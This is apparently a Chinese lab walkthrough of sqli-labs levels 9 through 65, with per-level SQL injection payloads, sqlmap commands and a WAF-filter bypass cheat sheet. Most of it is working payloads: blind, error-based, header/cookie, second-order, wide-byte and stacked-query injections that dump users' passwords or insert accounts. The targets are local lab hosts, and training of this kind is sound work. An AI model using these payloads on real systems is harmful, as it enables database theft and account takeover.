第九关 会发现我们不管输入什么页面显示的东西都是一样的,这个时候布尔盲注就不适合了。
- 布尔盲注 适合页面对于错误和正确结果有不同反应。
- 如果页面一直不变这个时候我们可以使用 时间注入。
时间注入 和 布尔盲注 两种没有多大差别。只不过 时间盲注多了 if 函数 和 sleep() 函数。if(a,sleep(10),1) 如果 a 结果是真的,那么执行 sleep(10) 页面延迟10秒,如果 a 的结果是假,执行 1,页面不延迟。通过页面时间来判断出 id 参数是单引号字符串。
- 因为是单引号注入,所以 and 前面就直接报错,所以这个会立马返回页面:http://127.0.0.1/sqli-labs-php7/Less-9/index.php?id=1" and if(1=1,sleep(5),1)--+
- 因为是单引号注入,所以 and 前面的结果为真,继续 and 后面的条件,即 sleep 5 秒后页面页面才返回结果:http://127.0.0.1/sqli-labs-php7/Less-9/index.php?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1' and if(1=1,sleep(5),1)--+判断数据库名长度
?id=1'and if(length((select database()))>9,sleep(5),1)--+逐一判断数据库字符
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+判断所有表名长度
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+逐一判断表名
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+判断所有字段名的长度
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+逐一判断字段名。
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+判断字段内容长度
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+逐一检测内容。
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
sqli-labs 第 10 关 ( get 和 post 区别、--prefix="\"" )
第十关和第九关一样,只需要将单引号换成双引号。
第 4 关 是双引号,且括号闭合,所以 sqlmap 可以直接扫描。但是这一关是双引号,并且没有括号闭合,所以使用 sqlmap 扫描时,显示 参数 id 没法注入
sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-10/index.php?id=1" --dbms=mysql --batch -v 3 --technique=T
扫描时 使用的 payload
可以发现 sqlmap 是 基于 "单引号" 注入的,双引号的注入检测不出来,这时就需要 --prefix 参数来指定 "注入payload字符串前缀"
- -v 3 是显示 payload
- -v 4 是显示请求的 url
sqlmap 扫描:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-10/index.php?id=1" --dbms=mysql --batch -v 4 --prefix="\"" > ./test.log
可以发现注入前缀变成双引号了,
sqlmap 的 :--prefix,--suffix
- sqlmap 的 get 请求默认是 "单引号" 的注入前缀
- sqlmap 的 post 请求 "单引号、双引号" 都有 payload
在有些环境中,需要在注入的 payload 的前面或者后面加一些字符,来保证 payload 的正常执行。
例如,代码中调用数据库:$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";
这时你就需要 --prefix 和 --suffix 参数了:python sqlmap.py -u "http://192.168.0.3/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"
这样执行的SQL语句变成:$query = "SELECT * FROM users WHERE id=('1') <PAYLOAD> AND ('abc'='abc') LIMIT 0, 1";
sqli-labs 第 11 关 ( post 表单 注入 )
sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-11/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --param-exclude="submit" --dbs
从第十一关开始,可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是 get 请求,参数都体现在 url 上面,而从十一关开始是 post 请求,参数是在表单里面。我们可以直接在输入框进行注入就行。并且参数不在是一个还是两个。根据前面的认识我们可以猜测 sql 语句。大概的形式应该是这样 username=参数 and password=参数 ,只是不知道是字符型还是整数型。
当我们输入1时出现错误图片
当我们输入1',出现报错信息。根据报错信息可以推断该 sql 语句 username='参数' and password='参数'
知道 sql 语句我们可以构造一个恒成立的 sql 语句,看看查询出什么。这里我们使用 --+ 注释就不行,需要换成 # 来注释, 这个就和我们第一关是一样了。使用联合注入就可以获取数据库信息。
sqli-labs 第 12 关 ( post、双引号、括号 )
sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-12/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs
当我们输入1'和1时候页面没有反应
当我们输入1"的时候页面出现报错信息,就可以知道sql语句是双引号且有括号。
那么我们可以构造下面语句进行sql注入。
1" ) or 1=1 #判断是否存在sql注入。
1" ) union select 1,2#
sqli-labs 第 13 关 ( post、单引号 )
sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-13/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs
十三关和十二关差不多,只需要将双引号换成单引号。
sqli-labs 第 14 关 ( post、双引号 )
sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-14/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs
十四关和十一关差不多,只需要将单引号换成双引号。
sqli-labs 第 15 关 ( post 、布尔盲注 )
sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-15/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs
第十五关和第十一关一样,只是不产生报错信息。这就是明显的布尔盲注。因为还有错误页面和正确页面进行参考。
sqli-labs 第 16 关 ( post、布尔盲注 )
sqlmap:sqlmap --url="http://192.168.0.5/sqli-labs-php7/Less-16/index.php" --data="uname=1&passwd=1&submit=Submit" --batch --dbms=mysql --dbs --param-exclude="submit" --level=5 --risk=3
第十六关和十二关一样,需要布尔盲注。
sqli-labs 第 17 关 ( extractvalue、updatexml、group by )
第十七关和前面的关有很大不一样,根据页面展示是一个密码重置页面,也就是说我们已经登录系统了,然后查看我们源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。sql语句之前都是查询,这里有一个update更新数据库里面信息。所以之前的联合注入和布尔盲注以及时间盲注都不能用了。这里我们会用到报错注入。用到三种mysql报错注入,下面都给大家详细写出步骤,大家可以借鉴。
这里介绍的报错注入可以选择 extractvalue() 报错注入,updatexml() 报错注入和 group by() 报错注入。下面简单说一下者三种报错注入的原理。
extractvalue 报错注入
extractvalue(XML_document, XPath_string)
- 第一个参数:XML_document 是 String 格式,为XML文档对象的名称,文中为 Doc
- 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
- 作用:从 XML_document 中提取符合 XPATH_string 的值,当我们的 XPath_string 语法报错时候就会报错,下面的语法就是错误的。concat和我前面说的的 group_concat 作用一样
下面已将该报错注入代码给到大家,在最后一步爆字段内容时候,会报错,原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。
1' and (extractvalue(1,concat(0x5c,version(),0x5c)))# 爆版本
1' and (extractvalue(1,concat(0x5c,database(),0x5c)))# 爆数据库
1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))# 爆表名
1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))#
爆字段名
1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))# 爆字段内容该格式针对mysql数据库。
1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))# 爆字段内容。
updatexml 报错注入
UPDATEXML (XML_document, XPath_string, new_value)
- 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
- 第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
- 第三个参数:new_value,String格式,替换查找到的符合条件的数据
- 作用:改变文档中符合条件的节点的值,改变XML_document中符合XPATH_string的值
当我们 XPath_string 语法报错时候就会报错,updatexml() 报错注入和 extractvalue() 报错注入基本差不多。
下面已将该报错注入代码给到大家,最后爆字段和上面一样如果加一个中间表。
123' and (updatexml(1,concat(0x5c,version(),0x5c),1))# 爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))# 爆数据库
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))# 爆表名
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#
爆字段名
123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#
爆密码该格式针对mysql数据库。
爆其他表就可以,下面是爆emails表
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))# 爆字段内容。
group by 报错注入
group by 报错可以看这个文章,此文章博主写的很清楚。这个报错注入比前面两个复杂一点。
深入理解 group by 报错注入:https://blog.csdn.net/m0_53065491/article/details/121893986
123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))# 爆数据库
123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))# 爆数据库版本
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))# 通过修改limit后面数字一个一个爆表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))# 爆出所有表
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))# 爆出所有字段名
1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))# 爆出所有字段名
1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)# 爆出该账户的密码。
sqli-labs 第 18 关 ( header 注入点 ua、结合 burpsuite 分析 )
这关我们直接看到看到页面有一个ip,简单看一下源码,发现对于输入的账户名和密码都有进行检查,但是往下看会发现一个插入的 sql 语句,当我们输入正确的账户名和密码时 User-Agent 字段内容就会出现在页面上。所以可以从这上面下功夫
当我们在 User-Agent 后面加上单引号出现如下报错,可见插入语句是将 ua 字段内容和 ip 地址以及账户名作为字符串进行插入且外面有括号。还要注意该插入语句需要三个参数,所以我们在构造时候也需要有三个参数。因为#号后面都被注释了。
所以我们可以构造如下数据,页面显示正常。可以将其他参数换成sql语句进行报错注入
大家可以自己报错注入方式进行注入,updatexml 和 extractvalue 报错注入爆出来的数据长度是有限的。
1' ,2, (extractvalue(1,concat(0x5c,(select group_concat(password,username) from users),0x5c)))# 爆账户密码。
1',2,updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))# 爆账户密码。
sqli-labs 第 19 关 ( header 注入点 referer )
十九关当我们输入正确的账户密码时 referer字段内容会显示在页面上。该插入的 sql 语句有两个参数一个是 referfer,还有 ip 地址。下面代码可以报错账户密码。前面的大家自己构造了。
1',updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1))#
sqli-labs 第 20 关 ( header 注入点 cookie )
第二十关当我们输入正确页面时候 cookie字段显示在页面上,进行抓包。进行注入
'and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
sqli-labs 第 21 关 ( cookie 字段 base64 编码 注入 )
第二十一关和二十关很像,唯一不一样就是 cookie 哪里不是账户名而是一串字符。有点经验就知道是 base64 编码,所以我们可以将单引号进行编码 jw== 可以发现报错并且还得有括号。
将注入代码进行编码,可以看到爆出账户密码。
')and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#
sqli-labs 第 22 关 ( cookie 双引号 base64 编码 注入 )
第二十二关和第二十一关一样只不过 cookie 是双引号 base64 编码,没有括号。
sqli-labs 第 23 关 ( get 请求:单引号、注释被过滤 )
sqlmap:sqlmap --url="192.168.0.5/sqli-labs-php7/Less-23/index.php?id=1" --batch --dbs
第二十三关重新回到 get 请求,会发现输入单引号报错,但是注释符不管用。猜测注释符被过滤,查看源码果然被注释了
所以可以用单引号闭合,发现成功。之后可以使用联合注入。不过在判断列数时候不能使用 order by 去判断,需要用 ?id=-1' union select 1,2,3,4 or '1'='1 通过不停加数字判断,最后根据页面显示是三列,且显示位是2号。
注入点:http://127.0.0.1/sqli-labs-php7/Less-23/index.php?id=1' or '1'='1
爆 表名:http://127.0.0.1/sqli-labs-php7/Less-23/index.php?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1
爆 列名:http://127.0.0.1/sqli-labs-php7/Less-23/index.php?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1
爆 字段:http://127.0.0.1/sqli-labs-php7/Less-23/index.php?id=-1' union select 1,(select group_concat(password,username) from users),3 or '1'='1
sqli-labs 第 24 关 ( 二次注入 )
第二十四关有一个登录页面和注册页面还要一个修改密码页面,该关卡使用得是二次注入,因为登录页面和注册页面对于密码和账户名都使用 mysql_real_escape_string 函数对于特殊字符进行转义。这里我们利用的是注册页面,因为虽然存在函数对特殊字符进行转义,但只是在调用 sql 语句时候进行转义,当注册成功后账户密码存在到数据库的时候是没有转义的,以原本数据存入数据库的。当我们修改密码的时候,对于账户名是没有进行过滤的。
首先我们看到管理员账户,admin,密码是1,但是通常情况下我们是不知道密码的,只能猜测管理员账户的 admin。
我们先注册一个账号名叫 admin'#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,# 是为了注释后面的数据。
之后也用户名 admin'# 和密码是 123456 登录,进入修改密码页面。原始密码输入123456,新密码我输入的是 111111,可以看到密码修改成功。
当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。
sqli-labs 第 25 关 ( or 和 and 被替换成 空 )
第二十五关根据提示是将 or 和 and 这两个替换成空,但是只替换一次。大小写绕过没有用。我们可以采用双写绕过。这一关使用联合注入就可以了,information 里面涉及 or 可以写成infoorrmation。
- 注入点:http://127.0.0.1/sqli-labs-php7/Less-25/index.php?id=1'
- 双写绕过:http://127.0.0.1/sqli-labs-php7/Less-25/index.php?id=1' anandd '1'='2
?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+
sqli-labs 第 26 关 ( 逻辑运算符,注释符、空格 都被 过滤 )
第二十六关将逻辑运算符,注释符以及空格给过滤了,我们需要使用单引号进行闭合。
- 双写绕过:逻辑运算符或者使用&&和||替换。
- 空格绕过:绕过空格限制方式:%09 TAB键(水平)、%0a 新建一行、%0c 新的一页、%0d return功能、%0b TAB键(垂直)、%a0 空格,
我在 windows 和 kali 里面都用不了,可能是因为apache解析不了。只能使用()绕过。报错注入空格使用比较少所以我们可以使用报错注入。
爆表:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'0
爆字段:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0
爆密码账户:?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0
sqli-labs 第 26-a 关 ( 联合注入、盲注 )
该关卡和二十六关差不多,多了一个括号。不能使用报错注入,该页面不显示报错信息。需要使用联合注入和盲注。
注入点:
- http://127.0.0.1/sqli-labs-php7/Less-26a/index.php?id=1
- http://127.0.0.1/sqli-labs-php7/Less-26a/index.php?id=1'
sqli-labs 第 27 关 ( 小写以及重写绕过、select 和 union 被过滤 )
二十七关和二十六差不多,不过二十七关没有过滤 and 和 or,过滤了 select 和 union,我们可以大小写绕过以及重写绕过。
爆表:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0
爆字段:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0
爆密码账户:?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0
sqli-labs 第 27-a 关 ( 小写以及重写绕过、select 和 union 被过滤 )
该关是双引号且页面不显示报错信息。过滤规则和二十七关一样。所以我们需要使用盲注和联合注入。
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1
###?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,username)from%0Ausers%0Aand"1
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(password,id,username)from%0Ausers%0Awhere%0Aid=3%0Aand"1
sqli-labs 第 28 关 ( 注释符、union、select 被 过滤 )
该关卡过滤了注释符空格还过滤了 union 和 select。\s表示空格,+表示匹配一次或多次,/i表示不区分大小写,所以整体表示匹配 union加一个或多个空格加select,其中union和select不区分大小。所以我们可以使用重写绕过写。
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Ausers%0Aand%0A('1
sqli-labs 第 28-A 关 ( union、select 被过滤 )
该关卡只过滤 union+select 。其他没有过滤。
?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
sqli-labs 第 29 关 ( union、select 被过滤 )
该关卡只过滤 union+select。其他没有过滤。
?id=0')uniunion selecton select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
爆表:?id=1&id=-2%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
爆字段:?id=1&id=-2%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+
爆密码账户:?id=1&id=-2%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
sqli-labs 第 30 关
三十关和二十九关差不多,将单引号换成双引号
爆表:?id=1&id=-2"%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
爆字段:?id=1&id=-2"%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+
爆密码账户:?id=1&id=-2"%20union%20select%201,group_concat(password,username),3%20from%20users--+
sqli-labs 第 31 关
三十一关和三十关差不多,多了一个括号
?id=1&id=-2")%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表
?id=1&id=-2")%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name='users'--+ 爆字段
?id=1&id=-2")%20union%20select%201,group_concat(password,username),3%20from%20users--+
sqli-labs 第 32 关 ( preg_replace 函数 过滤掉 斜杠,单引号、双引号 )
第三十二关使用 preg_replace 函数将 斜杠,单引号和双引号过滤了,如果输入id=1"会变成id=1\",使得引号不起作用,但是可以注意到数据库使用了gbk编码。这里我们可以采用宽字节注入。当某字符的大小为一个字节时,称其字符为窄字节当某字符的大小为两个字节时,称其字符为宽字节。所有英文默认占一个字节,汉字占两个字节。
?id=-1%df%27%20union%20select%201,database(),3%20--+
?id=-1%df%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+ 爆字段
?id=-1%df%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
sqli-labs 第 33 关
第三十二关和三十三关一模一样
sqli-labs 第 34 关 ( 宽字节注入 )
三十四关是 post 提交,使用 addslashes 函数对于账户和密码都进行转义,使用宽字节注入就行。
1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 爆字段名
1%df%27 union select 1,group_concat(password,username) from users--+ 爆密码账户
sqli-labs 第 35 关 ( 换成十六进制编码 )
使用 addslashes 函数对于输入的内容进行转义,但是id参数没有引号,主要影响在与后续爆字段时候需要用的表名加了引号,只需将表名换成十六进制编码就行,直接使用联合查询就可以了
?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表
?id=-1%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+ 爆字段
?id=-1%20union%20select%201,group_concat(password,username),3%20from%20users--+
sqli-labs 第 36 关 ( 转义 )
使用 mysql_real_escape_string 函数对于特殊字符进行转义。id 参数是单引号,和前面三十二关一样
sqli-labs 第 37 关 ( 转义 )
三十七关是post提交,使用mysql_real_escape_string 函数对于账户和密码都进行转义,使用宽字节注入就行。和三十四关一样。
1%df' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x7573657273--+ 爆字段名
1%df' union select 1,group_concat(password,username) from users--+ 爆密码账户
sqli-labs 第 38 关 ( 堆叠注入 )
三十八关其实就是单引号闭合,使用正常单引号闭合就可以进行注入,不过这里可以有另外一种注入就是堆叠注入,因为存在 mysqli_multi_query 函数,该函数支持多条 sql 语句同时进行。
?id=1';insert into users(id,username,password) values ('38','less38','hello')--+
#向数据表插入自己的账户密码
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())b--+ 查询字段
?id=-1' union select 1,2,(select group_concat(username,password) from users)b--+ 查询密码账户
sqli-labs 第 39 关 ( 联合注入 )
id参数是整数,正常联合注入就行。
?id=-1%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()
?id=-1%20union%20select%201,group_concat(username,password),3%20from%20users
sqli-labs 第 40 关 ( 单引号、括号闭合、联合注入 )
四十关id参数是单引号加括号闭合,然后使用联合注入就可以了
?id=-1%27)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+
?id=-1%27)%20union%20select%201,group_concat(username,password),3%20from%20users%20--+
sqli-labs 第 41 关
四十一关和三十九关一样,id 是整数。
sqli-labs 第 42 关 ( 堆叠注入 )
四十二关是因为账户进行了转义处理密码没有做处理,数据库没有使用 gbk 编码不能向上面一样使用宽字节注入,但是存在堆叠注入函数,所以我们可以在密码哪里使用堆叠注入。向数据库里面插入密码账号,这样我们再来使用其进行登录就很简单了。
login_user=1&login_password=1';insert into users(id,username,password) values ('39','less30','123456')--+&mysubmit=Login
sqli-labs 第 43 关 ( 单引号、括号闭合、堆叠注入 )
四十三关和四十二关差不多,就是密码参数是单引号和括号闭合的。
login_user=1&login_password=1'); insert into users(id,username,password) values ('44','less34','123456')--+&mysubmit=Login
sqli-labs 第 44 关
四十四关和四十二关一样
sqli-labs 第 45 关
四十五关和四十三关一样
sqli-labs 第 46 关 ( updatexml 报错 )
使用新的参数sort,通过输入1,2,3表中出现不同数据,该sql语句是order by,sql语句参数没有引号且不能使用联合注入,有报错显示,所以我们可以使用 updatexml 进行报错。
?sort=1%20and%20(updatexml(1,concat(0x5c,(select%20group_concat(password,username)%20from%20users),0x5c),1))
sqli-labs 第 47 关 ( updatexml 报错注入 )
四十七关和四十六差不多,多了一个单引号闭合,可以使用报错注入
sqli-labs 第 48 关 ( 延时注入 )
四十八关和四十六一样只不过没有报错显示,所以使用延时注入。
sqli-labs 第 49 关 ( 延时注入 )
四十九关和四十七关一样,不过没有报错显示,所以使用延时注入。
sqli-labs 第 50 关 ( 报错注入、堆叠注入 )
五十关和四十六关一样,可以使用 updatexml 进行报错注入,不过这个里面还可以使用堆叠注入,因为使用了mysqli_multi_query函数,支持多条sql语句执行。也可以延时注入。可以借鉴三十八代码
sqli-labs 第 51 关 ( 引号闭合,可以报错注入,可以延时注入,可以堆叠注入 )
该参数单引号闭合,可以报错注入,可以延时注入,可以堆叠注入。
sqli-labs 第 52 关 ( 堆叠注入、延时注入 )
该参数是整数型,且没有报错显示,只能堆叠注入或者延时注入。
sqli-labs 第 53 关 ( 堆叠注入、延时注入 )
该参数是字符型,单引号闭合,没有报错显示,可以使用堆叠注入和延时注入。
sqli-labs 第 54 关
五十四关翻译页面的英文,得知只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。id参数是单引号闭合就行。
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表名
注意上面这个是我查到的表名,每个人不一样的表名,代码需要更改表名
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='8fof1zun81'--+ 爆列名
字段名也是不一样的,我们需要获取secret_31F4,所以每个人的列名也需要改。
?id=-1%27union%20select%201,group_concat(secret_31F4),3%20from%208fof1zun81--+ 获取key值
下面输入框点击提交,就完成所有步骤。
sqli-labs 第 55 关
五十五关是有14次机会,id参数是加了括号的整数
?id=-1)%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 报表名
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='69jwmv27j9'--+ 爆列名
?id=-1) union select 1,group_concat(secret_D1DW),3 from 69jwmv27j9--+ 获取key值
sqli-labs 第 56 关
五十六关和前面两关类似需要单引号和括号。
?id=-1')%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表名
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='9ze4qmv307'--+ 爆列名
?id=-1') union select 1,group_concat(secret_CTVR),3 from 9ze4qmv307--+ 获取key值
sqli-labs 第 57 关
五十七关就是双引号闭合
sqli-labs 第 58 关
五十八关和前面几关不一样,因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入是不行得。但是有报错显示,所以可以使用报错注入。
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='8edjk8ipbk'),0x7e),1)--+
爆列名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_6W8M) from challenges.8edjk8ipbk),0x7e),1)--+
sqli-labs 第 59 关
五十九关和五十八关一样使用报错注入,id是整数型。
sqli-labs 第 60 关
六十关根据报错信息可知id参数是双引号加括号。
sqli-labs 第 61 关
六十一关根据报错信息可知id参数是单引号加两个括号。
sqli-labs 第 62 关
六十二关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号加括号。具体代码往上翻
第五关(布尔盲注),第九关(时间注入)
?id=1%27) and if(length((select database()))=10,sleep(5),1)--+ 时间注入,如果出现延迟表示该数据库名长度是10
?id=1%27)and length((select database()))=10--+ 布尔盲注
sqli-labs 第 63 关
六十三关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号。第五关(布尔盲注),第九关(时间注入)
sqli-labs 第 64 关
和前面两关一样,id参数是两个括号的整数型。
sqli-labs 第 65 关
和前面关卡差不多,id参数是一个括号的整数型。
3、使用 sqlmap 注入
关键词 过滤
大小写 绕过,双写 绕过,编码 绕过。例如 ununionion,selselectect,uniunion selecton select,UnIon,SelECT
空格 过滤
使用 括号 代替 空格(报错注入),使用 两个空格,使用 Tab 代替 空格,使用 回车,使用 %0a 使用 /**/ 代替 空格
逻辑 运算符 过滤
or使用||代替,and使用&&代替 ,xor使用|代替,not使用!代替
注释符 过滤
使用 And '1'='1, %23
?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1(sqli-labs27-a关)
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0(sqli-labs26关)
引号 过滤
使用十六进制,宽字节
?id=-1%df%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=0x7573657273--+(sqli-labs32关)
逗号 过滤
在使用盲注的时候,需要使用到substr(),mid(),limit,这些子句方法都需要使用到逗号
1. 对于substr、substring()和mid()方法可以使用from的方式来解决
?id=1'and ascii(substr((select database()),1,1))=115--+
?id=1'and ascii(substr((select database())from 1 for 1))=115--+
2.使用 join
union select 1,2 可以使用下面的句子代替
union select * from (select 1)a join (select 2)b?id=-1' union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C)--+
4.limit中,使用 offset 绕过
limit 1offset0
等于号 绕过
1.使用 like
2.使用 !<> 因为 <> 是不等于
3.regrep (正则表达匹配)4.between a and b :范围在a-b之间 (也可用于 = 绕过:id between 1 and 1 与 id = 1 效果相同)
?id=1'and length((select database()))=8--+
?id=1'and length((select database())) like 8--+
?id=1'and length((select database())) regexp 8--+
?id=1'and !(length((select database()))<>8)--+
?id=1'and length((select database())) between 8 and 8--+
函数 过滤
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
大于、小于、等于
